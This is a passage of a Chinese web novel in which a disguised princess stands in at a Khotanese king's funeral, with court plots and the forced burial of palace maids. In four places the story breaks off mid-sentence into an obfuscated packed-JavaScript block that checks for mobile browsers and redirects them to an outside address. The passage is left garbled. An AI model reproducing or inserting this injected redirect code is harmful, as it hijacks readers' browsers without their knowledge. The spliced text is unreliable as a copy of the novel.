阿祇一夜未眠,她对大祭司喊:“阿依那在哪里?” 大祭司闭口不言。 侍女们个个惊恐的神情,阿祇想追问,瞎眼女官突然头磕在地上,胆怯地说:“奴婢们什么都不知道,请公主洗漱更衣吧。” 被囚禁在内院的祖慕祇,猜出必有变故。 原来,当侍女一早打开蓝毗尼宫门就摸到了死人脚,门口吊着三具尸首,她看不到他们的凄惨死状,也被吓得魂飞魄散,人事不省。后来,众人得知那正是昨夜带路的两个宦官和最先告密的小侍女,她们更是噤若寒蝉,所有侍女再不敢乱说话。 大祭司今日格外高冷,一言不发。 瞎眼女官吩咐伺候,“请公主梳洗换装。” 今日是大丧,阿祇有硬仗要打,恐怕自身难保,便不再追问蓝毗尼宫的古怪。 她走到帷幕之后,配合地起身换洗梳妆,阿依夏木为人高调跋扈,王宫内很少有不认识公主殿下的,即便她伪装得再完美,假的还是假的,瞎眼侍女活下来的心中有数。 女官更是聪明人,除了阿依那,她是陪伴阿祇最多的宫人。她虽然眼瞎,心里却明亮,舍了眼睛,才能保命,知道的越多死的越快。她小心翼翼地问:“这几日的功课,公主可还有疑问?” 阿祇摇摇头,道:“辛苦阿佳女官。” 女官嘱咐:“公主学得极好,无需紧张。” 被魔鬼训练了几日的阿祇,没有一点不情愿,健驮逻语与精绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14842345|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国使用的佉卢文,异曲同工,从右往左书写,笔法也是她熟悉的,大丧上她首先得过悼文关。 “不会忘。”阿祇胸有成竹。 侍女鱼贯而入,为她换上白色和少许金色的曳地长裙,这是一套精致肃穆不失华美的丧服,于阗女子行走间可见赤足,奶白色的肤色是西域女子的特色,侍女们将束腰抽紧,长长的纱丽披上左肩,垂下地面,摇曳典雅。 阿依夏木身材与阿祇相仿,换上公主繁杂的装扮,额上垂下唯一的首饰鎏金镶蓝宝石流苏,覆在女子莹润饱满的眉间。她亲自用脂粉掩盖了额间朱砂痕,画上于阗贵族女子特有的眼妆,带上面纱,即便是葬礼,也端得玉之公主的气度。 戴上面纱,她缓缓走出幽居多日的蓝毗尼宫。 身穿黑袍头戴面具的大祭司亲自迎接,站在公主一丈之外微微行礼。 “公主,时辰到了。” 大祭司声音冷漠疏离,与几日前的沮渠蒙逊判若两人,阿祇多看了他一眼,大祭司垂着眼皮,并不与她直视。阿祇不好同他说话,端出公主仪态,将手交到他的手里,被冰冷的手掌轻轻握住,有疏离,有冷淡,完全没了之前的掌控感。 仪仗起驾,两个侍女抬起她的裙角,在环拥下阿祇缓缓步上轿辇,层层帏幔落下,她被稳稳抬起,如同浮萍漂泊在未卜的前途。 于阗王宫的主调是白色,即便是大葬,也并没有特别的装饰,四周主路部署手握弯刀的侍卫,公主轿撵所经之处,莫不屈膝垂首。路程并不遥远,很快她便看到了宽敞的广场,身着重礼的朝臣贵族围绕着祭台,等候公主,同时也是未来储君的驾临。 隔着帏幔,阿祇看不清楚不远处一张张面孔,他们是阿依夏木的子民,而她是假冒的于阗公主、是祖慕祇、是辛薇,是被莫名其妙推到这种境地的迷失者。 众人齐齐跪拜。 公主走下轿辇,前方就是祭台。 于阗人的丧葬没有哭丧,气氛肃穆悲凉,人们穿着以白色为主,在祭台上华丽的帐篷里,老于阗王穿着最精美的金丝王袍,对襟和袖口花纹均已纯金编织,胸口戴着紫色天雨曼陀罗花,静静躺在白色纱幔之中。 大祭司伫立祭台,将一块白色的绢帕覆在先王的脸上,做出祭拜的手势,默念祝祷词。 与此同时,公主就要亲手写下于阗王舍都罗的追悼诏书与祭文,稍后将随尸身一同装殓棺椁之中。 这时,有僧人唱诵,焚香缭绕。 祭台四周,梵音佛光笼罩,超然觉悟,幻化一世界。祭台之下,贵族朝臣皆俯首,随之唱诵。 祭台立于和田城中心广场空地,远远被百姓围绕,贵宾和朝臣位列最前。 公主作为于阗唯一的继承人,缓缓走上祭台,行礼,祭奠,执笔。 她在人群中,没有见到熟悉的身影,手不知不觉有些颤抖。 诺伊在群臣之前,冷冷盯着祭台。自古王不见王,狯胡王并没有被邀请来大丧。狯胡军队这两日的变故,给了星夜整顿军纪的机会,狯胡的汉子们在自己的营地里被鞭笞,隔着塞勒湖,于阗国葬悲凉哀歌,让外族人的兵马骚动不安。 有人高声通报:“王后驾到!” 35. 大丧(二) 祭台所在的广场,人群让出一条路。 隔着老于阗王的棺椁大帐,众人看到王后的马车遥遥驶来,诺伊都尉从人群中站起,冷喝道:“王后抱恙,当以身体为重,还不赶紧送王后回宫?” 在场的贵族皆默不作声,克拉汗正要带人拦截,王后驾辇之后走出一位白色广袖儒衫的高大男子,身后有银甲覆面的三十六骑,冷酷威严,常在大漠行走的行伍之人都会认出这行精壮骑兵,正是令人闻风丧胆的大漠玄羽衣,以一挡百的骁勇善战。 库马尔等一众老臣连忙上迎,压制了克拉汗的人。 众贵族行礼,齐声唤道:“恭迎王后。” 在对立的两波人臣之间,马车来到祭台前。 曾是于阗王与王后共乘的车辇宽大豪华,车架是纯金打造,镶嵌无数玉石宝石,于阗百姓见之无不退避跪拜,车辇停在祭台前,车帘掀起一位头戴幕笠的女子探出身子,白衣玄盛已来到驾前,轻轻托起这位神秘女子的手掌,女子袅袅走下马车。 “这就是王后新任的义女,玄玉阁辛夫人?” 众人悄悄议论都说她极得荣宠,性情高傲冷淡,不与于阗权贵来往,竟是已有王室作靠山。 有人小声说:“怎不敢真面目示人?” 懂中原文化的贵族瞥了那人一眼,不屑道:“汉人贵女出门都这副打扮,这是体面。” 李玄盛携妻,皆是汉服广袖的吊唁装扮,虽同为白色孝服,却很是登对。戴着幕笠的女子站稳后,转身朝马车伸出手,苍白虚弱的王后扶着她的手,身着隆重的大丧装扮出现在众人面前。 “母亲。”女子声音婉转温柔。 王后欣慰地朝女子点头,在她的搀扶下走下马车。 此情此景让周围的人微微变色,不禁看向祭台上背脊挺直的高贵公主。今日的阿依夏木身着大丧礼服高贵冷艳,脸覆面纱只露一双浓重眼妆的双眸,礼仪端方无疑,追悼祭文一出,满朝贵族皆跪拜,王储之位已定。王后艰难开口:“吾已收玄盛之妻辛氏为义女,封号迦蓝,她便是阿依夏木的秭妹。一家人为先王送行,都尉……可否?” 一介汉人义女,除了拉拢玄玉阁的势力,诺伊并不担心她能掀起什么风浪。 诺伊对于阗王室恨之入骨,偏偏大丧上不得发作,他抬头盯着祭台之上的大祭司,神情复杂压郁难抒,大丧后希望大祭司守承诺,否则就一切玉石俱焚,他故意刺激王后:“一家人?王后多虑了,老国主薨逝有小女西莫儿陪伴入葬,另加了十个采女陪葬,舍都罗进了轮回也不会寂寞。” 诺伊对于阗王直呼其名,厌恶之情言表。说完,竟真的命人抬上来十一具棺木。 舍都罗一生只娶一妻,合葬的身旁除了王后,没有第二人想,诺伊这是在诛心。 王后气急,强行压住喉咙中涌上的血气,手紧紧抓住身侧的“义女”,谁也没有留意她们相握的手微微颤抖,那是抑制不住的愤怒,她们没有与诺伊唇枪舌战,羸弱不堪的王后在义女的搀扶下,缓慢走上祭台,王后与祭台上的“阿依夏木”对视,面容悲痛,高高在上的公主亦眼神哀痛,行于阗礼迎接王后,“母后。” 王后亲自扶起阿依夏木,看见祭台中央脸覆白布的于阗王尸身,腿脚一软,人几乎要崩溃过去,左右两个女儿连忙搀扶她,共同将人扶到主位上,幕笠女子这时对公主盈盈一拜,恭顺诚意,公主朝幕笠女子微微点头,两个妙龄的“姊妹”算是正式见礼,相敬有礼。 诺伊眼神一动,远望祭台上的公主,可能经历过大悲大痛,阿依夏木竟有了些王者之风? 幕笠女子退到王后身后,失去至亲的痛苦,令王后悲恸万分,哭声吸引祭台下众人的注意力。 诺伊生怕没人搅局,眼神看向戴着幕笠的女子,“大秦兵临城下,王后却认贼作女,这是要通敌?” 王后撑着身子,气息紊乱,“两国交战,不斩来使。玄玉阁为于阗百姓作保,若开战不伤无辜,辛夫人甘愿留下作质,吾收她为女有何不可?” 她又怒道:“吾还要质问都尉,你擅作主张殉葬女儿,是要让先王背上罪孽么?” 诺伊冷冷哼了一声,“王公贵族死后人殉,自古有之,众者数百,寡者数十。既是舍都罗的遗愿,王后若有异议,不妨追去问问?” 祭台之上,大祭司突然站了出来,“国之礼法,有别尊卑,严于内外,辨其亲疏。”换句话说,即便是老国主自愿与谁合葬,国家有礼法存在,不能想怎样就怎样,哪怕是王。 诺伊不接大祭司的话,反而调转矛头,又盯着头戴幕笠的女子。 “说到亲疏,王后的这位义女与王后倒很是投缘,莫非……” 话未说完,李暠直接质问:“玄盛之妻乃大秦陇西郡守辛纳之嫡女,玄玉阁主母,敢辱吾妻,便是与玄盛为敌。”他在这一刻,丝毫没掩饰气势,身后三十六骑闻声齐动,银盔寒甲杀意逼人。 诺伊巴不得他们发难,这时,大祭祀挥动祭杖。 “天神永道,吾王归天。” 剑拔弩张的对峙暂停,大丧仪式终于开始了…… 躁动的人群让诺伊愈发不安,有种莫名失控的感觉,他自知时日无多,最后的软肋西莫儿被大祭司握在手中,大祭司亦与先王不睦,唯一的目的是保舍都罗一族的颜面,按照他们之前的协议,诺伊不阻碍公主继位,大丧后西莫儿就会被送出于于阗。大祭司放任了诺伊对于阗王的手段,执意拥公主上位,诺伊并无多言,反正马上于阗王室就会自我毁灭。 阿依夏木不学无术,刚愎自用,吕光大军对西域虎视眈眈,又有狯胡王鸠占鹊巢。 他不信,于阗还能安然无恙。 眼前这个公主与往日似有不同,他朝祭台参拜,逼迫阿依夏木。 “请公主尊崇祭礼,唱诵安魂往生洗礼。” 依照于阗的传统,继任者将掌管国家,在安葬先王的葬仪上需为之净身裹尸,唱诵往生极乐咒,安度魂灵。众人将目光集中在祭台中央,那里站着一个孤独的身影,公主冷眼台下争执岿然不动,硬仗来了。 寂静片刻,女子华丽的身影站在祭台上。 盛装下的公主抬头看向天空,双臂伸出作出祈祷状,缓缓交叉胸前,人站在于阗国王舍都罗的遗体身旁,裙摆在祭台上迎风飘起,额间宝石反射出太阳的光泽,人在纱幔中如梦似幻,好像要羽化升天。 台下皆静,齐齐朝拜。 王后在义女辛夫人的搀扶下,单膝跪伏,风中传来“阿依夏木”安魂的低吟: “西方世界涌香云, 香雨花云及花雨, 为阎浮提苦众生, 作大证明功德主, 是命终人, 念念之间, 望诸骨肉眷属, 无量菩提之心。 唯愿世尊慈, 自今已后, 勿履是道, 永得安乐。 ……” 伴随公主浅浅的吟唱,她的身影徘徊在帏幔之中,仔细净手,行礼,焚香。公主的歌声是梵文,又有钟鼓之乐,哀声入耳,竟无人觉得高台上悲怆的阿依夏木有什么异样。 大祭司在侧,燃香跳着祝巫舞。 仪式进行得完美无缺。 宦官奉上洁白的帏布,公主在大祭司的祝悼声中,为躺在棺木里的于阗王净身,缠绕三层纱布。送逝者的净礼肃穆庄重,诺伊也只能站在祭台下,冷眼旁观。 公主的歌声哀怆渐息,动作缓慢流畅。 “阿依夏木”退到祭台的棺木前,挺直腰背,双手触额后深深跪拜,王室礼仪一丝不差。 低吟一曲,往生极乐。王后的啜泣再难抑制,众人的哭声随之渐起,人们看着公主为老国主净身裹尸,悲怆地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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送葬的队伍绵延而缓慢,人们从一开始的悲伤,慢慢转为疲惫。玄盛白衣飘飘,兜帽遮住了他大半张脸,只有几缕不羁的发丝,偶尔随风飘动,他因特殊的身份,算半个王室成员,被允许率领三十六骑守护在王后的仪仗之侧。无人能听见,王后的凤辇簌簌的更换衣服动静,还有低低的私语。 一路颠簸,马车里的女子们整理仪容。 两个年轻的美丽面孔,刚刚互换装扮完毕。 王后虚弱感慨,看着眼前的两个女子,“世事无常,众生皆苦。” 清浅的声音,带着抚平伤口的温柔,“人之老、病、死,于诸世间,是不可爱,是不光泽,是不可念,是不称意。死亡,不过是另一场轮回的开始……” 王后感知她的孝心,“薇儿,你是我们的恩人,以后你与阿依夏木就是姊妹,也是彼此的亲人。” “阿依夏木,还不叫人……” 娇憨的声音闷闷地鼻子哼了一声,只用三人能听到的声音说:“念在你为父王做了净礼的份上。”她别扭地说出一句:“辛薇……阿恰。” 阿祇知道,阿恰是王室对秭妹的称呼。 “承蒙王后公主深情厚谊,辛薇幸甚,愧不敢当。” 她拉住阿依夏木的手,阿依夏木知她为自己挨了一箭,保住了于阗王室,心中难得产生了愧疚,她别扭地任她拉手,王后很欣慰,阿祇直言道:“阿恰听着不习惯,你我以名字相称如何?” 阿依夏木在别院作了几天辛夫人,对这个称谓起了执念,语气不善地对阿祇说:“那我就叫你阿祇,我不喜欢什么辛夫人。” “好,阿依夏木,还谢谢你善待努尔。” 自从李玄盛那晚将李代桃僵的计划告诉自己,他们还聊了别院的动静,“辛夫人”闭门不出,跟努尔不打不相识,斗了几场竟斗出了气势,人也振作起来。 突然,阿依夏木无厘头地问:“若让你继续当这个公主,甚至女王,你可愿意?” 36. 大丧(三) “如果让你继续当这个公主,甚至女王,你可愿意?” 阿依夏木看着阿祇的眼神竟不像作假,最近几日是她平生最黑暗,也是最甜蜜的日子,她因失去父王和她自身境遇大起大落,痛苦不已,又因与李暠假扮夫妻,享受着他的照顾与“宠爱”,有那么一瞬,她真的不想面对接下来的危难重重,就这样躲在李暠的羽翼保护下,幸福终老。 忽然,病入膏肓的王后打上她的手,瞪了阿依夏木一眼。 “又说傻话,于阗是你父王留给你的责任,接下来的路你只能靠自己。”经此大难,她庆幸没有让亡夫的王位旁落,却也担忧,女儿怕是终要被人拿捏了。 说完,王后剧烈咳嗽,几乎喘不上气。 “王后。” “母后。” 两个女孩同时出口,阿依夏木脸色惨白,她也不知道为什么脱口而出那些话。待王后稍微缓和,她转身紧紧握着阿祇的手,看着她说:“孩子,你不愿认我这个母亲吗?” 辛薇懂她的意思,见她郑重便唤了一声,“母亲。” 患难见真情,王后知道阿祇打算离开于阗,怅然道:“好孩子,既然我们有一家人的缘分,你有什么要求就告诉我们,我替阿依夏木先答应你。” 车辇在行进的路上,阿祇和阿依夏木已经成功地换回身份,于阗王室此次承了辛薇天大的人情,和田城危在旦夕,王后对真假公主的冒险之举仍心有余悸。 阿祇何尝不是,从站在人前那刻起就小心翼翼,生怕出一丝错,她举止极尽端正,看似规矩,实则紧绷着细枝末节,沮渠蒙逊和李玄盛协力打造了这个连环计,只要一步疏漏,她都可能万劫不复。 在即将结束这一切之际,阿祇故作轻松地对王后母女说:“多谢母亲好意,阿祇不过是孤女,只想到处走走看看,等阿依夏木成了女王,给我个闲散使臣的便利?” 阿依夏木瞪了她一眼,“母后已封你伽蓝公主,不比当什么闲散使臣的好?” 阿祇说:“阿依夏木有所不知,君遣使臣也,送之以礼乐,言远而有光华也。” 面子和里子都有了,夫复何求。 王后拉住二人的手,“只要你们守望相助,吾死而无憾。” “母后,你长命百岁,莫说这些。” 阿依夏木急了,毕竟是大丧,她接连遭受打击,想都不敢想如果母后也离开自己。 气氛一时沉重无比,阿祇想起一件事,此时王后对她有求必应,阿祇大着胆子提起道:“母亲,我还有个不情之请,不知那十个殉葬的采女,能不能赦免?” 王后与阿依夏木面面相觑,露出难色,“这……” 阿依夏木知王后不好开口,微微皱眉解释说:“于阗王室的传统确实有人牲祭祀的传统,父王在世的时候,有心效仿中原圣贤改为陶俑代替,诏书未下,突逢大难。诺伊本想让其女西莫儿为王妃,父王对诺伊之子的死心有愧疚,念西莫儿年幼封为女官,女官有草拟诏书之责,西莫儿以人殉自古有之,称父王千秋功绩,采女殉葬,百不为过。” 王后叹气,“西莫儿如今陪了舍都罗而去,莫非天意?” 这里终究是与现代普世价值不同的地方,西莫儿打算捧杀于阗王,让其成为亡国罪人。阿祇原以为采女只是诺伊的疯狂计划的一部分,没想到无论有没有这场政变,她们都将是牺牲品。 一丈之外,李暠默默跟在马车后,看不出表情。 “主人。” 稷驱马而来,停在李暠面前行礼。 李暠问:“人呢?” 稷低声回禀:“人不肯交给我们,沮渠蒙逊说他已遵循与诺伊的约定,送西莫儿离开了于阗。” 玄盛感慨,“诺伊幸留有一丝人性,不然于阗毁矣。” 稷沉默不语。 采玉祭当日,在拂云殿诺伊唯一的女儿西莫儿为了替兄报仇,刺杀舍都罗,计划诈死脱身。不料,螳螂捕蝉,黄雀在后,李瑾下手晚了,西莫儿被“大祭司”擒获。彼时,没人对大祭司的双簧身份存疑,宋繇传出拂云殿的消息后,李暠直觉大祭司深藏不露。“大祭司”的企图令人费解,他既没有当场拿西莫儿威胁诺伊,眼睁睁地等诺伊引狼入室,不给于阗王生存的机会,又没有与狯胡王同流合污,揭穿阿祇的身份。 火山拂云殿后,诺伊宣称女儿已死。 这场局还在进行,往李暠不可控的方向。然后,他便收到了大祭司欲与玄玉阁合作的密信。 作为投名状,大祭司保玄玉阁被俘众人无恙,而李暠要带阿依夏木安然回于阗继承王位,送走狯胡王,女王登基后他就说服女王接受大秦招降,作为回报,还免除玄玉阁在于阗采玉的三十年赋税,与李氏宗族世代友好,通商不殆。 李暠有护和田城之心,却不敢保证兵不血刃。 玄盛与吕纂商议以十日为期,若他能拿下于阗,征西军就算真正的收复大漠,统一西域。吕纂应允,李暠才带着阿依夏木亲自赴山海,又有了大祭司的底牌与暗中相助,玄盛才能步步为营,保护了他想保护之人。 是从什么时候起,李暠怀疑大祭司其实是两个人的呢? 大概就是他刚入宫,见到大祭司第一眼的那刻。多年来,大祭司冷漠低调,极少露面,总是一副无欲无求的神棍模样,可是那日李暠见到大祭司,他却感觉到大祭司望着蓝毗尼宫,心有牵挂。当夜,他密信大祭司打算夜访蓝毗尼,带阿祇与王后会面,大祭司没有反对,可晚上他所遇见的那个大祭司,眼神中却带着敌意。 一番回忆,玄盛看向身边的稷。 稷与主人心意相通,几经追踪和交手,他们终于发现躲在大祭司背后的人是卢水胡二少主沮渠蒙逊。卢水胡,是近几年崛起在北凉的匈奴后裔部落,大单于沮渠罗仇志大才疏,膝下无子,便引诱族中两位少主明枪暗箭地夺权数年。 传闻放荡不羁的沮渠蒙逊不得沮渠罗仇青睐,经常被放逐,做些见不得人的勾当。 稷又道:“沮渠蒙逊也已经离开了。” 玄盛说:“告诉我们的人,不用追了。” 稷静静听着玄盛的话,语气犹豫:“主人,他带走了粮食。” 玄盛眉头微舒并无担忧,“这人亦敌亦友,幸好所图不多随他去吧,等尘埃落定,于阗才算真的不用生灵涂炭了。” 稷心中一沉,想起了故国楼兰。 …………………………………………………… 大丧并没有结束。 从太阳刚升起,直至中天,仪仗队伍终于抵达陵寝山口,停了下来。大祭司从队伍前方朝凤辇而来,恭敬地对马车中人道:“青石王陵到了,恭请王后。” 不远处,诺伊都尉驱马而来。 侍女轻掀帏幔,从马车里走下依旧戴着面纱的公主和王后,然后是新封的伽蓝公主——辛夫人。 大祭司看到她们,神情悄悄放松了些许,垂眼双手插袖,隐藏情绪。 阿依夏木小心搀扶王后,带着上位女王的气势。 王后一阵咳嗽,对一旁的诺伊道:“等下。” 在义女的搀扶下,她颤巍巍地走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859693|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出马车,威仪的于阗王室凤仪,让这位饱受非议的王后立于人前风华不减,辛薇戴着幕笠站在王后身边,沉默的几乎没有存在感。 “王后,不要耽误了时辰。”诺伊催促。 王后看了眼送葬的队伍和舍都罗的棺木,对大祭司提出要求,“吾已将先王的玉玺交与公主,公主就是新王,无需送先王入地陵,我一人即可。” “这不合祖制!” 诺伊那种不安感又冒了出来。他刚收到消息,女儿已经随沮渠蒙逊离开了王宫,这是他报仇的最后机会,“登基大典尚未举行,公主与王后亲自送舍都罗才是礼数。” “孤愿亲送父王入陵,并留在青石山守丧。孤已征得母后同意,诺伊都尉不如即日起就告老还乡吧。”诺伊忍了许久,当然不能输在最后一局。 此时,又有一个洪亮的男声传来,“公主若是守丧,与本王的联姻又将如何?本王可是辛辛苦苦赶来,送岳父最后一程的。” 仪仗队伍迅速让出了一条路,重甲在身的一队骑兵,威凛踏来,开口说话的正是狯胡王星夜。高大威武的年轻狯胡王,身佩长刀和弯弓,飞扬着胡人的桀骜不逊,对着阿依夏木豪爽朗一礼:“婚约之盟,王后可不能食言哦。” 他明知一切是诺伊的阴谋,嘴上却耍贱。 大祭司拦在星夜面前:“不得无礼。” 狯胡王被大祭司刁难,很多次求见公主都被拒,要不是李玄盛与他有言在先,大局为重,他还真的想好好教训一顿这个鬼脸祭司。 玄盛出现在他们之间,“今日大丧,狯胡王不如客随主便。” 阿依夏木不自觉目光转向白骆驼的身上。 手上一紧,王后安抚阿依夏木,对她微微摇头,诺伊皱眉,他引狯胡人逼宫,又暗中联络吕纂煽风点火,就是想他们互相残杀,却不想狯胡王反戈,几次冲突,都没最终打起来。 一切好像就是从李暠入城开始。 诺伊呵斥:“狯胡王,你在逼宫?” 星夜并不在意地甩出一道卷轴,扔给阿依夏木,正是两国联姻的王后懿旨。至于真假,事到如今根本不重要,他就是报复这几日的闭门之气罢了。 阿依夏木接过,将联姻的旨意撕得粉碎。 阿祇腹诽,冤有头债有主,狯胡王就是个绿茶。 王后气得吐出一丝鲜血,扶着王后的义女,赶忙为她擦拭嘴角的血迹,王后完全依靠在她的身上,已是撑着最后一口气。 “时辰不早,该入地陵了。” 诺伊心中着急,狯胡王来搅局就快耽误时辰了。 阿依夏木抱过王后,转身走向马车。 风吹过,扬起戴着幕笠的女子一角头纱,那药味很是熟悉,星夜早不自觉地瞟了那边一眼,汉家的贵女矜持低调,惯会装腔作势,可那张素脸他太熟悉不过了。 这场局,他总算看了明白。呵,她果然是一个狡猾的骗子。 “大祭司,母后不舒服。” 阿依夏木与大祭司从小一起长大,呼来唤去惯了,公主抬手一甩,大祭司沉默地躬身,冷冰冰地看了眼诺伊,又转过身无视狯胡王。半盏茶时间不到,诺伊又催促上了。 “大祭司,正事要紧。” 大祭司终于传令,八十一个引幡人分开列队,抬着梓棺的六十四名大汉按于阗的王室礼仪,郑重抬棺入陵。僧侣们敲着木鱼继续唱经,玄玉阁的三十六骑一字排开,把狯胡王的人马挤到凤辇后面,给抬棺的队伍让出了一条路。 在六百多人的送葬队伍中,传来一阵喧闹。 37. 大丧(四) 入陵仪式开始,走在最前方的是珍宝陪葬和人牲祭品。 首先就是献上人牲,十一口棺木触目惊心,除了已经封棺的西莫儿,十个妙龄女子被推搡着压送而来,她们衣着光鲜然而目光恐惧,反手被捆绑着,嘴里还塞着布条,无法开口说话。仪式上的人群一片寂静,众人都等着看行刑,侍卫们会将如花般的女子们灌入毒酒钉入棺木,大祭司的咒语中是要将年轻的灵魂一并封印,这就是传承百年的王室殉葬。 “牲人献祭,天神赐福。”大祭司喝道。 跪在地上的女子们瞬间惊恐起来,她们是最卑微的采女,即便死亡也要沦为奴隶的下场。其中,一个女子突然暴起挣扎,睁大双眼撞向王后的凤辇。押送不备,差点被她钻了空子,忙将她按在地上,大祭司瞬移钳住那女子臂膀,一用力便卸了下来,女子一声惨叫,忍着剧痛向大祭司伸手,眼神死盯着他,像是在求救。 大祭司挥开衣袖,冷冷道:“灌酒。” 命令一下,立刻有侍卫带毒酒上来,女子的脸摩擦着地面,好不容易嘴里的破布被扯下来,她挣扎着别开脸拒绝喝毒酒。阿祇终于认出,这个女子正是阿依那。 阿依那头发凌乱,已经被打扮成华美的殉葬妆饰,脸上有诡异的符文,她精致的衣裙在地上被磨得脏污破裂,阿依那却像见到救命稻草狠命地朝大祭司乞求,“大,人,救,我。” 她苦苦看向他,可是大祭司不为所动,阿依那几近崩溃,以往种种划过脑海,从初遇到重逢,她为他拼尽所有。或许是采女的宿命,逃得过初一,却终逃不过十五,等待她的命运终究是死局。 五年前…… 阿依那已为采女数年,她因单薄体弱,得了官采恩典回乡修养探望母亲,途中差点被强盗掳了去。幸好被一个少年所救,少年冷冰冰地丢下她,她却悄悄跟着他一路,因此惹怒少年,被一掌劈昏扔到了路边草丛。此后数年,她每年出宫都拼命寻找少年下落,她知道少年不是于阗人,可是寻遍了商队,她也再没见过他的踪影。 天可怜阿依娜的祈祷,这年采玉祭,居然让阿依那又见到了他,昔日少年变得高大伟岸,脸上添了一道疤,仍旧是冷漠的表情,让阿依娜一眼就认出了恩人。阿依那再按耐不住渴望,在王宫无人的角落,向侍卫打扮的男人表明心迹,即便连他的真实姓名都一无所知,她坚持要跟随他报恩,随他远走高飞,为奴为婢,这一次男人竟没有拒绝,阿依那欣喜若狂。 之后,阿依那违背良心求妹妹米耶帮她脱身,以身替她为采玉祭采女,更让她觉得是天意的是,她真的感动了天神竟派了别人替代她们。当然这个“别人”是谁,又有什么关系? 有一天,戴着面具的“大祭司”接她入了王宫,她知道面具后就是她心心念着的少年,阿依那不敢问他的身份,心甘情愿地听他差遣,直到有一天他把她丢到蓝毗尼宫,照顾一个假冒公主的女人。 阿依那奋力爬来,终于碰到他的衣角,乞求道:“大人,求你……救,救阿依那。” 大祭司无情后退一步,“为先王殉葬,是你的荣耀。” 阿依那被大祭司的冷言震慑,不肯置信的眼神,从吃惊失望到伤心憎恨。阿依那一个激灵,瑟瑟发抖地看向高高在上的阿依夏木。诺伊灰色的眼眸发出凶光,像又洞穿了什么好戏,他很熟悉那种从地狱里爬出来的恶鬼眼神,这女人还不够疯癫,口中微微嘟囔着什么。 侍卫又要堵她的嘴,诺伊都尉却制止侍卫,“既然是殉葬的采女,给她些体面吧。” 诺伊走到她跟前,冷冷道:“你还有何遗愿,老夫成全你。” 大祭司冰冷如斯,一言不发。 阿依那忽然冷笑了起来,瘫软身体,这么多年心甘情愿为之付出的男人,最后连句话都不愿和她多说。她越笑越疯魔,怨毒地朝阿依夏木公主看去。手指哆嗦地指向公主,忽然吼道:“她,不是公主。” 一石激起千层浪,一波未平,一波又起。 “不是公主?那她是谁?” 有人开始议论,王室仅有的血统,不容混淆。所有的目光集中到马车上的女子,白色鎏金飘逸的丧服,抹额下的眉眼,睥睨这个如蝼蚁般的女人,冷冷承受她的指控。阿依夏木敛去表情,看着阿依那,目光沁出一股寒意。 诺伊命人包围王后和公主的马车,笑道:“来人,将她的面纱取下。” 大丧之仪不容冒犯,在数百贵族的凝视下,阿依夏木冷笑道:“不必了,今日大丧,孤不与你们计较,既然都尉怀疑,孤便让你们看个清楚。”说完,阿依夏木自己揭开脸上的面纱。 祖慕祇在不起眼的角落淡淡地看着这场悲剧,她轻叹了口气,无力阻止,悄悄地放下幕笠的一角。阿祇没办法做到心如铁石,她也畏惧死亡,然而让人不明白的是,一个面对死亡的最悲情的殉葬者,在人生最后一刻不是痛恨王朝勋爵,不是怜悯采女们的蝼蚁命运,不是控诉这吃人的殉葬制度,而是要再拉一个女人下水。 除了李玄盛和狯胡王的人马,众人纷纷低头跪拜,“公主息怒!” 没了面纱的公主,尽是霸气,冷冷道:“怎样?孤可是假的?” 没错,公主还是那个公主,阿依夏木,嚣张明艳。 阿依那傻了,她简直不敢相信自己的眼睛,昨晚公主还是那个汉人女人,大人如眼珠子般看护的女人,怎么可能一夜之间,她就不是她了?被公主骇人的眼光所摄,阿依夏木大发慈悲地说:“你可愿去死了?” “不……”阿依那真的怕了,嗫嚅着看向大祭司。 “不,不可能,明明是假的。” 阿依那像到处攀咬人的疯狗,突然醒悟,指着大祭司大喊:“你,不是他。” 至于这个“他”是谁,好像没人多想,只当有人质疑大祭司的身份。 “念在你为国主殉葬,本祭祀亦可遂了你最后的遗愿。” 大祭司也将手靠近宽目大耳青铜面具,缓缓揭下,露出一张因常年不见天日的苍白面容。 人们看到原本清秀的男人脸上,深色的图腾刺青正在额心,那是昔日于阗王亲自所刺。于阗大祭司自幼从舍都罗家族中选出,经过数年严格的宗室教养,一旦当选,便会在其额头烫上祭司印记,这也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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喀龙吹了个呼哨,一批狯胡勇士从四周的林子里冒了出来,团团围住送葬队伍,准确说,他们是将这些贵族老爷们护住,将箭头对准汇集而来的人群。 “护驾!”侍卫中有人大喊。 诺伊灰败的眼神发出溢彩,期待中的毁灭,来得再猛烈一些才好,他大声嘶喊:“杀光这些暴民!一个不留!” 